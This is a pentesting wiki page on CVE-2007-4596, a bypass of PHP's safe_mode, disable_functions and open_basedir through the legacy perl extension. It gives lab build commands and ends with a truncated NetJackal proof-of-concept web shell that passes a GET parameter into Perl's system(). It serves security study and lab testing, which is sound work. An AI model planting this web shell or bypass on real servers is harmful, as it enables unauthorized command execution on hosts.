---
title: "PHP Perl Extension Safemode Bypass Exploit"
section: "Network Services"
sectionSlug: "network-services-pentesting"
sourcePath: "src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md"
sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md"
sha: "188de82beb54e70956b2952367a0af91d26758b8"
isIndex: false
modified: true
license: "CC-BY-NC-4.0"
---
# PHP Perl Extension Safe_mode Bypass Exploit
## Background
The issue tracked as **CVE-2007-4596** comes from the legacy `perl` PHP extension, which embeds a Perl interpreter without enforcing PHP's `safe_mode` restrictions. Perl evaluation also operates outside controls such as PHP's `disable_functions` and `open_basedir`, so a loaded extension can expose command and filesystem primitives that PHP attempted to restrict. `safe_mode` disappeared in PHP 5.4; this technique is relevant primarily to old shared-hosting installations and deliberately vulnerable labs.[[1]](#references)[[2]](#references)
## Compatibility and Packaging Status
- The last PECL release (`perl-1.0.1`, 2013) declares PHP 5.0 or newer, but the package is unmaintained and its source targets the PHP 5-era Zend API. PHP 7/8 generally require an unofficial port and an exact ABI build; the version string alone does not establish compatibility.[[2]](#references)
- PECL is being superseded by PIE, but legacy stacks still ship PECL/PEAR.[[4]](#references) Treat the flow below as a PHP 5 lab recipe unless a target already contains a compatible extension.
## Building a Testable Environment in 2025
- Fetch `perl-1.0.1` from PECL, compile it for the PHP branch you plan to attack, and load it globally (`php.ini`) or via `dl()` (if permitted).
- Legacy Debian-based lab recipe (requires an archive or third-party repository that still provides PHP 5.6 packages):
```bash
sudo apt install php5.6 php5.6-dev php-pear build-essential
sudo pecl install perl-1.0.1
echo "extension=perl.so" | sudo tee /etc/php/5.6/mods-available/perl.ini
sudo phpenmod perl && sudo systemctl restart apache2
```
- During an authorized test, confirm availability with `var_dump(extension_loaded('perl'));` or `print_r(get_loaded_extensions());`. If absent, search for a correctly built `perl.so` and writable **system-level** PHP configuration. The `extension` directive is `php.ini`-only and cannot be set in `.user.ini`.[[8]](#references)
- Because the interpreter lives inside the PHP worker, Perl code does not need `/usr/bin/perl` or PHP process-launching functions. Operating-system permissions, mandatory access controls, and network-egress filtering still apply.
### On-host build chain with shell and compiler access
If `phpize`, a compiler toolchain, Perl development headers, and shell execution are available, you can build a matching `perl.so` on the host:
```bash
# grab the tarball from PECL
wget https://pecl.php.net/get/perl-1.0.1.tgz
tar xvf perl-1.0.1.tgz && cd perl-1.0.1
phpize
./configure --with-perl=/usr/bin/perl --with-php-config="$(command -v php-config)"
make -j$(nproc)
cp modules/perl.so /tmp/perl.so
# loading requires a writable php.ini/scanned system INI or control of CGI arguments/service config
```
The module must match PHP's API, architecture, thread-safety mode, and linked Perl ABI. `open_basedir` is not a substitute for controlling extension loading, but an attacker still needs a configuration or process-start primitive that accepts `extension=`. The compilation flow mirrors the PHP manual for building PECL extensions.[[3]](#references)[[8]](#references)
## Original PoC (NetJackal)
The original NetJackal PoC remains useful for confirming that the legacy extension responds to `eval`:[[1]](#references)[[7]](#references)
```php
";
$perl->eval("system('".$_GET['cmd']."')");
echo "</textarea>";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "